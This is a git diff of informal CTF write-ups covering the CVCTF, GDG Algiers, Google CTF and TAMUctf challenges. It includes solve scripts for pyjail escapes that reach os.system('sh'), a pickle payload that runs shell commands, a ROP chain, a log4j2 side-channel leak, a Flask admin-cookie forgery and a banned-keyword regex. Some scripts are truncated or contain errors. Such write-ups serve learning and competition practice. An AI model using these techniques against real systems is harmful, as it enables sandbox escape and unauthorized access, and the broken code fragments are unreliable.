s.add((BV2Int(b[0])*2 + BV2Int(b[1])*9 + BV2Int(b[2])*11 + BV2Int(b[3])*19) == expected[2]) s.add((BV2Int(b[0])*5 + BV2Int(b[1])*7 + BV2Int(b[2])*11 + BV2Int(b[3])*15) == expected[3]) print(s.check()) while str(s.check()) == 'sat': print("".join([chr(s.model()[c].as_long()) for c in b])) s.add(Or([c != s.model()[c] for c in b])) ``` ### boost game now that we are nearly full solving i gotta try harder so its time to look at the other less solved challs code looks kinda scary ngl but LOL turns out its way too simple for what it does in the mess of repeating codes theres an early exit right after a check, and otherwise we increment a counter until 5 which congrats us for getting the flag then why not just breakpoint at the early exit and see what it checks then change our input to match that its also not modifying our input at all either it turns out so we can just dynamically obtain whats expected and send that instead after doing that 5 times we literally just get the flag lol `cvctf{2326651332123730010604561282900}` i was so surprised it worked solved in like 20 mins too lmao ### my online voucher movuscated binary :skull: literally did not want to touch it at all but we have to in order to full solve but it also turned out to be pretty straightforward logically LOL -the obfuscation is pretty intersting too in how it uses signal handlers to trigger calls to functions and such +the obfuscation is pretty interesting too in how it uses signal handlers to trigger calls to functions and such i only realized it when straced it and realized theres too many segfaults yet the program still ran fine then i remembered the sigaction calls thats the only non mov instructions in the binary now that its much clearer what the program is doing with being able to map the function calls, i can check a bit after the strlen func call which is likely the flag length check for most flag checkers (it also had "invalid" printf not far after the check too) and im right - 0x14 was the flag length and now we can go to the next stages i see a valid call thats never triggered with segfaults (i breakpointed at all `mov [eax], eax` after printfs coz those are the trigger points for the function calls) and an invalid that does after multiple SIGILLs at the end of the entire block of mov instructions wait ok multiple times? but whats the pattern for that turns out its literally a char by char check LOL the amount of SIGILLs are the amount of correct inputs until it terminates early after printing "invalid" this means its time for our good ol pal instruction counting to do its thing with `handle SIGNAL nostop` we can easily count how many times the char checks have been run without intervention needed too so its a pretty simple script with this we have flage `cvctf{M0V3c0nfu51ng}` ```py from pwn import * import string import io context.log_level = 'ERROR' flag = b'cvctf{' while len(flag) < 0x14: for c in string.printable: p = process(['/usr/bin/gdb', '-q', './voucher'], stdin=PIPE) p.sendline(b'handle SIGSEGV nostop') p.recvuntil(b'(gdb)') p.sendline(b'handle SIGILL nostop') p.recvuntil(b'(gdb)') p.sendline(b'start') p.recvuntil(b'(gdb)') p.recvuntil(b'SIGSEGV') #we cant recvuntil "Enter your code: " coz its never flushed yet print(flag + c.encode() + (b'a'*(0x14-len(flag)-1))) p.sendline(flag + c.encode() + (b'a'*(0x14-len(flag)-1))) lines = p.recvuntil(b'(gdb)').split(b'SIGILL') print(len(lines), len(flag)) if len(lines) > len(flag) + 1: flag += c.encode() p.send('quit') p.close() ``` ### cheney-on-the-mta chall desc mentioned a recent ctf, and opening it up we see chicken which was also in sekaictf pain i have no idea how to even run this but i have to solve it coz its the last chall and [@kever](https://maplebacon.org/authors/vEvergarden/)s nearly done with his last crypto chall turns out `libchicken.so.11` is an actual library oops lmfao but still i cant run it coz string-utils extension is missing and idk how to get it and now [@kever](https://maplebacon.org/authors/vEvergarden/) is challenging me to a race to see who solves the chall first so i gotta be quick :skull: so i just asked other teammates to try figuring out how to run it so i can probably instruction count it (coz strings tells me its another flag checker) meanwhile ill just look at the data section for the blob of data that basically every flag checker checks against this binary looks pretty simple in the data section: we have a few strings that has tags in front of it and then a data blob that looks like an array of sth which are all referenced in `C_toplevel` which seems to initialize the globals looking closer we can see that the strings have 5 bytes as tags, which is quite similar to the array of chunks that the data blob has splitting it into easier readable lines we get: ```txt fe03000002feff0100000060 fe03000002feff0100000073 fe03000002feff0100000060 fe03000002feff0100000071 fe03000002feff0100000063 fe03000002feff0100000078 fe03000002feff0100000032 fe03000002feff0100000060 fe03000002feff0100000065 fe03000002feff0100000030 fe03000002feff010000006a fe03000002feff0100000030 fe03000002feff010000005c fe03000002feff010000005f fe03000002feff0100000031 fe03000002feff010000005f fe03000002feff0100000076 fe03000002feff010000005b fe03000002feff010000005b fe03000002feff010000007a feff0e00 ``` which is all repeating aside from the last byte, and looks supsiciously like ascii also first and third byte are the same?? **c**v**c**tf???? fifth byte is also 3 away from first and third, which is also the difference between ascii `c` and `f` now im basically convinced this is a direct representation of the flag just slightly shifted and yep LOL flage `cvctf{5ch3m3_b4by^^}` ```py data = [0x60, 0x73, 0x60, 0x71, 0x63, 0x78, 0x32, 0x60, 0x65, 0x30, 0x6a, 0x30, 0x5c, 0x5f, 0x31, 0x5f, 0x76, 0x5b, 0x5b, 0x7a] print(bytes([d + 3 for d in data])) ``` insane how nobody solved this before me coz it was literally right there guess everyone just got scared by the language like me LOL [@kever](https://maplebacon.org/authors/vEvergarden/) solved his last crypto 2 mins before i solved this sadge lost the race but hey with this it means we full cleared the entire ctf lmaooo very nice i also eventually realized the hint 2 thats released a bit before i solved it (even tho i didnt even realize it was there) said something about "a simple cipher" LOL sure rot3 definitely is simple :skull: \ No newline at end of file diff --git a/ctfs/comments/gdgalgiers22.md b/ctfs/comments/gdgalgiers22.md index 6e9acd5..09a02a6 100644 --- a/ctfs/comments/gdgalgiers22.md +++ b/ctfs/comments/gdgalgiers22.md @@ -1,519 +1,533 @@ ### exorcist originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall and then we went on a huge detour trying to figure out why the length is always changing got so fed up that we went back home mid solving even tho this is a beginner chall lmfao eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work `CyberErudites{Y0u_kn0w_h0w_T0_XOR}` ```py from pwn import * io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002) io.sendline(b"a"*60) io.recvuntil(b">> > ") cipher = io.recvuntil("\n").decode() print(cipher) output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')] print(output) # print(bytes([o^v for o, v in zip(output, b"CyberErudites{")])) # output = cipher.encode() for i in range(len(output)): op = output[-i:] + output[:-i] print(len(op)) key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16] print(len(key)) x = bytes([o^v for o, v in zip(op, key*10)]) print(len(x)) print(i) print(x) ``` ### type it got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this lmfao literally was just unbalanced parentheses like sqli `())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily (`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses) my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag used this since its basically just brackets lmao ### type it 2 unbalanced parentheses is fixed now, so no more funny shennanigans most symbols are disallowed too so escape sequences arent easy to create worse is coz of this we have nothing more than the return type to go off of but hey in these cases why dont we side channel it like googlectf's log4j2? we cant use square brackets or basically most things outside of function calls so thats annoying but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all but that means we'd have to play word unscramble lmao no thanks (and it turns out the flag has multiple same characters pretty frequently too sooo not enough information) tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned eventually i realized i can obtain list types from `type.mro()`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned but `+` aint banned so we can actually create multiple tuples/lists and then chain them together but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here hold on we can make generators though if we skip all the spaces using brackets as delimiters and if we can make it return arbitrary values of our choice we can just use it turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets) now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all) and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType ```py from pwn import * import string p = remote("jail.chal.ctf.gdgalgiers.com", 1304) #p = process(['python3.10', 'jail.py']) chars = [] """ (flag.encode().startswith( type(flag.encode())( #bytes class type(type.mro(type))( #list class (type(())( #create tuple from generator ((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use ) +(type(())( ((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters ) ) ) )) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false """ flag = "CyberErudites{" payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))(" payloadsuffix = "))))or(None)" while "}" not in flag: for i in string.printable: check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i]) p.recvuntil("Input : ") p.sendline(payloadprefix + check + payloadsuffix) p.recvuntil("") if b'bool' in resp: flag += i print(flag) ``` `CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down: also i nearly popped a shell lol after realizing we can access globals with generator objects kekw `((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that ### impossible challenge sure its "impossible" if you run it coz rand basically never clashes thrice in a row but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~ `CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl or at least try to do it the fun way with patching and dynamic debugging lmao ```py v11 = [0]*40 v11[0] = 6; v11[1] = 60; v11[2] = 39; v11[3] = 32; v11[4] = 55; v11[5] = 0; v11[6] = 55; v11[7] = 48; v11[8] = 33; v11[9] = 44; v11[10] = 49; v11[11] = 32; v11[12] = 54; v11[13] = 62; v11[14] = 97; v11[15] = 32; v11[16] = 0; v11[17] = 26; v11[18] = 43; v11[19] = 10; v11[20] = 49; v11[21] = 45; v11[22] = 12; v11[23] = 11; v11[24] = 2; v11[25] = 26; v11[26] = 12; v11[27] = 97; v11[28] = 26; v11[29] = 116; v11[30] = 40; v11[31] = 53; v11[32] = 42; v11[33] = 97; v11[34] = 97; v11[35] = 44; v11[36] = 7; v11[37] = 41; v11[38] = 32; v11[39] = 56; print(bytes([69 ^ i for i in v11])) ``` ### venomous wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on `PYTHONINSPECT=1` also didnt work coz sudo clears env and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed wouldve been cool if it was related tho https://bugs.python.org/issue35883 after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py` `CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}` ### venomous 2 pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}` i wonder if the intended solution is related to zip files ### validator originally other ppl worked on it and figured out you can do format string injection with SchemaError and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint so it basically ended up being a pyjail and thats where i come into play got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint` got some inspiration after poking at py explorer for a bit so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__` with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is we were literally there lmao i just distracted everyone by thinking of `__subclasses__()` but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy` which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag` and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}` ```py import requests from flask.sessions import SecureCookieSessionInterface from itsdangerous import URLSafeTimedSerializer class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # Override method # Take secret_key instead of an instance of a Flask app def get_signing_serializer(self, secret_key): if not secret_key: return None signer_kwargs = dict( key_derivation=self.key_derivation, digest_method=self.digest_method ) return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs) def decodeFlaskCookie(secret_key, cookieValue): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookieValue) # Keep in mind that flask uses unicode strings for the # dictionary keys def encodeFlaskCookie(secret_key, cookieDict): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(cookieDict) secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy' print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content) ``` ### garbage truck -- literally no src and it just prints `empty garbage truck` for like most of the time -- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao -- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this` -- after trying to map out whats banned i realized i can `breakpoint()` -- which means i can literally escape to host now ey -- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist -- i also cant do `sh` for some reason i can only run commands from `os.system()` -- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about -- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop -- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason -- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now -- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still -- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]` -- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}` + +literally no src and it just prints `empty garbage truck` for like most of the time + +other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao + +the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this` + +after trying to map out whats banned i realized i can `breakpoint()` + +which means i can literally escape to host now ey + +but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist + +i also cant do `sh` for some reason i can only run commands from `os.system()` + +pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about + +but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop + +tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason + +also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now + +then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still + +and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]` + +`CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}` ### kevin higgs the revenge my angstrom payload almost works if you remove the frame opcode but setattr got banned lol so my persistence mechanism is no more sadge and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting so its time to come back to this chall i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM and wow in the meantime i really learnt a ton on how the pickle stack machine actually works so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing and i realized `empty.__dict__` exists so we just need a method to accept a value and we are gold update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol) so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script ```py from pwn import * from pickle import * import struct def flatten(x, res=None): if res is None: res = bytearray() if isinstance(x, bytes): res += x elif isinstance(x, list) or isinstance(x, tuple): for r in x: flatten(r, res) else: print("WRONG TYPE FOR", x) return res def put(x): return [BINPUT, struct.pack(' obtained from STACK_GLOBAL) REDUCE, POP, #discard the returned object we dont need it #.__subclasses__() next('__subclasses__', args=[]), #.__getitem__(117) next('__getitem__', args=pint(index)), #.__init__ next('__init__'), #.__globals__ next('__globals__'), #.__getitem__('system') next('__getitem__', args=pstr('system')), #('sh') getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it ptuple( pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n" ), REDUCE, STOP] return flatten(p).hex() for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell s = remote('jail.chal.ctf.gdgalgiers.com', 1300) #s = process(['python3.10', 'challenge.py']) s.recvuntil('Enter') payload = pkl(i) print(payload) print(i) s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc resp = s.recvall(timeout=1) if b'AttributeError' not in resp: s.interactive() else: s.close() ``` and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol) `CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}` really happy now that i understand exactly how my solve for kevin higgs work lmaooo when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao ~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~ ### PY explorer this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly) not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out) but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc) then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__` which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects even though we have to blindly type in coz stdout flush wont work anymore lol i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr so i just `import os; os.system('sh')` to drop into a shell with working flush ey with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}` i was on the right track all along lmaoo with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep \ No newline at end of file diff --git a/ctfs/comments/googlectf22.md b/ctfs/comments/googlectf22.md index 8362074..de2186b 100644 --- a/ctfs/comments/googlectf22.md +++ b/ctfs/comments/googlectf22.md @@ -1,86 +1,86 @@ ### log4j2 building upon the log4j solution and some prelim investigation by other teammates, i set of reading a lot of documentation on lookups and pattern layout specifiers to see if anything is useful since they practically just slapped a filter on logs and stuff, i wondered what exactly they were checking and `/repeat` works like a charm on letting me test certain keywords that might hit the filter - it would say sensitive info whenever i hit a keyword i figured out its "ERROR", "WARNING", "Exception" and "CTF", but even these few words basically disabled us from using the same method as the old solution which was to break formatter to print exceptions `text=/[${date:yyyyMMdd.${env:FLAG}HHmmSS}]` - even if we can hide CTF using some transformers like `%replace` and `${lower:}`, we wont be able to hide the "ERROR" or "Exception" keywords since those are directly from the pattern parser (`%xEx` and `%throwable` both doesnt do anything) so i turned to trying to see if i can leak parts of the flag out but the only way i can tell is to hide details inside the stacktraces which are blocked -but then i remembered the influxql chall from wectf that me and angus solved where angus found a way to side channel it +but then i remembered the influxql chall from wectf that me and [@Angus](https://maplebacon.org/authors/alueft/) solved where he found a way to side channel it and i see `%equals` being a thing in the specifiers so the only thing i need to do is to trigger a warning or an error only when my guessed flag matches - `%equals{${env:FLAG}}{}{}` however theres not really a good canadidate that throws a parser error only when run - `%d` like in the old solution always fail even if `%equals` is not matched but it fails twice if it matches, which is a good sign that there might be better specifiers out there - and indeed if i do `%C{}` i get a warning thats censored only if my guess equals - thus the payload is now `%equals{${env:FLAG}}{}{%C{a}}` but i have to find a way to guess character by character to save time - this is where `%maxLen` comes into play so i can get the first x chars only, and the payload becomes `%equals{%maxLen{${env:FLAG}}{}}{}{%C{a}}` with that we can write a script to leak the first 3 chars, and they are indeed `CTF` - but then i run into a problem of `{}` being special chars for lookups so i need to escape it somehow `%equals` doesnt look like it has a way to escape, so i had to introduce `%replace` as mentioned [here](https://stackoverflow.com/questions/57658504/escape-curly-braces-in-log4js-replacepatternregexsubstitution) with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}]}{=}}{}{%C{a}}`, we can finally leak the flag, which looks like lowercase letters - until it hangs at 21st character turns out `%maxLen` appends `...` if it exceeds 20 chars, and just padding the dots into the flag doesnt seem to fix anything, so i had to also replace the dots to equal signs just like the curly brackets and finally with `/%equals{%replace{%maxLen{${env:FLAG}}{}}{[\{\}.]}{=}}{}{%C{a}}` we can get the script that generates the flag: ```py import requests import string flag = 'CTF=' while True: for c in string.ascii_lowercase + '-=': #if c in '}{ ': #for string.printable since these instantly breaks parser # continue pad = '===' if len(flag)+1>20 else '' #thanks %maxLen for the weird behaviour payload = r"/%equals{%replace{%maxLen{${env:FLAG}}{" + str(len(flag)+1) + r"}}{[\{\}.]}{=}}{" + flag + c + pad + r"}{%C{a}}" print(payload) r = requests.post('https://log4j2-web.2022.ctfcompetition.com/', data={"text":payload}) print(r.content) if b'Sensitive' in r.content: flag += c print('current', flag) break if flag.endswith('===='): break ``` and here's the breakdown of the payload: -``` +```text %equals{ %replace{ %maxLen{ ${env:FLAG} #retrieve original flag }{ 4 #flag length to check - must match the check length since theres no startWith in log4j so we have to truncate } }{ [\{\}.] #find all { }s in flag, along with the elipsis }{ = #replace with placeholder - see flag to check for more info } }{ CTF= #flag to check - note that = is in place of { since curly brackets escaping is not a thing in %equals it looks like }{ %C{a} #this triggers a warning only if it hits, aka it wont show WARNING if equals never matched - i originally used %d, but the format evaluates regardless whether it hit or not (hitting will show 2 warnings instead of 1 which doesnt help) } ``` `CTF{and-you-thought-it-was-over-didnt-you}` for some reason the ending bracket never got hit though, so the endswith clause never ran but hey flag is flag ey diff --git a/ctfs/comments/tamuctf22.md b/ctfs/comments/tamuctf22.md index 497c9a6..8958f6a 100644 --- a/ctfs/comments/tamuctf22.md +++ b/ctfs/comments/tamuctf22.md @@ -1,505 +1,508 @@ ### covfefe decompile the class, and print the nArray ```java import java.util.*; import java.util.stream.*; public class Main { public static void main(String[] stringArray) { int n; int n2 = 35; Integer[] nArray = new Integer[n2]; for (n = 0; n < n2; ++n) { nArray[n] = 0; } nArray[0] = 103; nArray[1] = nArray[0] + 2; nArray[2] = nArray[0]; block16: for (n = 3; n < 8; ++n) { switch (n) { case 3: { nArray[n] = 101; continue block16; } case 4: { nArray[6] = 99; continue block16; } case 5: { nArray[5] = 123; continue block16; } case 6: { nArray[n + 1] = 48; continue block16; } case 7: { nArray[4] = 109; } } } nArray[8] = 102; nArray[9] = nArray[8]; nArray[25] = nArray[28] = nArray[7]; nArray[24] = nArray[28]; nArray[10] = 51; nArray[11] = nArray[10] + 12 - 4 - 4 - 4; nArray[22] = nArray[27] = nArray[0] - (int)Math.pow(2.0, 3.0); nArray[15] = nArray[27]; nArray[12] = nArray[27]; nArray[13] = 49; nArray[14] = 115; block17: for (n = 16; n < 22; ++n) { switch (n) { case 16: { nArray[n + 1] = 108; continue block17; } case 17: { nArray[n - 1] = 52; continue block17; } case 18: { nArray[n + 1] = 52; continue block17; } case 19: { nArray[n - 1] = 119; continue block17; } case 20: { nArray[n + 1] = 115; continue block17; } case 21: { nArray[n - 1] = 121; } } } nArray[23] = 103; nArray[26] = nArray[23] - 3; nArray[29] = nArray[26] + 20; nArray[30] = nArray[29] % 53 + 53; nArray[31] = nArray[0] - 18; nArray[32] = 80; nArray[33] = 83; nArray[n2 - 1] = (int)Math.pow(5.0, 3.0); System.out.println(Arrays.asList(nArray).stream().map(i -> String.valueOf((char)i.intValue())).collect(Collectors.joining(""))); } } ``` ### existing tooling breakpoint before it prints how long the flag is, grab the content from the `obj` global var with IDA ### redo 1 remove the 0 ints in the `a` array to prevent null termination, convert it to char* and print ```c #include int main(int argc, char** argv) { int a[] = {0x65676967,0x34427b6d,0x5f433153,0x616c5f43,0x4175476e,0x525f4567,0x78305f45,0x53414c47,0x00007d53}; //remove null term char* flag = (char*)(&a); printf("%s", flag) } ``` ### redo 2 add `.intel_syntax noprefix` to the top of the asm file, compile with `gcc -m32 -c redo2.S -o redo2.o` and decompile it with IDA change all returns and if statements to assignations, rearranging if necessary set up flag with flag length as long as the for loop (or the malloc size), and add a print at the end ```c #include #include #include int main(int argc, const char **argv, const char **envp) { char *v4; // [esp+0h] [ebp-20h] int m; // [esp+4h] [ebp-1Ch] int l; // [esp+8h] [ebp-18h] int k; // [esp+Ch] [ebp-14h] int j; // [esp+10h] [ebp-10h] int i; // [esp+14h] [ebp-Ch] char* flag = "gigem{aaaaaaaaaaaaaaaaaaaaaa}"; for ( i = 0; i <= 28; ++i ) { if ( !flag[i] ) return -1; } v4 = malloc(0x1Du); for ( j = 0; j <= 28; ++j ) { v4[j] = flag[j]; v4[j] -= 49; } if ( *v4 != v4[2] ) return 1; if ( v4[1] != 56 ) return 2; if ( *v4 != 54 ) return 3; if ( v4[3] != 52 ) return 4; if ( (char)v4[28] != (char)v4[5] + 2 ) return 5; if ( v4[5] != 74 ) return 6; if ( v4[4] != 60 ) return 7; for ( k = 0; k <= 2; ++k ) { v4[k + 6] = 48; } for ( l = 0; l <= 3; ++l ) { v4[l + 10] = 49; } for ( m = 0; m <= 4; ++m ) { v4[m + 15] = 50; } v4[21] = v4[15] + 1; v4[9] = 46; v4[14] = v4[9]; v4[20] = v4[9]; v4[22] = v4[9]; v4[27] = 1; v4[26] = 2; v4[23] = 3; v4[24] = 4; v4[25] = 0; for ( j = 0; j <= 28; ++j ) v4[j] += 49; printf("%s\n", v4); } ``` ### one and done buffer overflow with PIE disabled but no libc - search for rop gadgets in binary, stitch together until syscalls can be made reuse gets and puts provided ```py from pwn import * import time p = remote("tamuctf.com", 443, ssl=True, sni="one-and-done") #elf = ELF('./one-and-done') #p = process('./one-and-done') #gets payload = b'A' * 0x128 #padding until ret payload += p64(0x0000000000401793) #pop rdi payload += p64(0x0000000000405310) #_edata addr for temp storage since its RW and not really used payload += p64(0x0000000000401795) #gets #open syscall payload += p64(0x0000000000401f31) #pop rdx payload += p64(0x0000000000000002) #sys_open payload += p64(0x0000000000401793) #pop rdi payload += p64(0x0000000000405310) #temp storage we wrote to payload += p64(0x0000000000401713) #pop rsi payload += p64(0x0000000000000000) #O_RDONLY payload += p64(0x00000000004013ce) #pop rbx payload += p64(0x0000000000000002) #set i = 2 for inc to 3 to pass `cmp i, 3` in _init_libc that we are hijacking payload += p64(0x00000000004013ad) #mov edx to eax and syscall (sys_open) payload += b'A' * 0x158 #_init_libc frame reset #read syscall payload += p64(0x000000000040100b) #pop rax payload += p64(0x0000000000000000) #sys_read payload += p64(0x0000000000401f31) #pop rdx payload += p64(0x0000000000000030) #read count payload += p64(0x0000000000401793) #pop rdi payload += p64(0x0000000000000003) #fd for flag payload += p64(0x0000000000401713) #pop rsi payload += p64(0x0000000000405310) #temp storage payload += p64(0x0000000000401f27) #simple syscall payload += b'A' * 0x8 #ret frame #puts payload += p64(0x0000000000401793) #pop rdi payload += p64(0x0000000000405310) #temp storage we wrote to payload += p64(0x0000000000401834) #pop rdi #time.sleep(10) #for debugger p.sendline(payload) p.interactive() ``` ### live math love from (mostly) trial and error + reading stack on each function call + - the 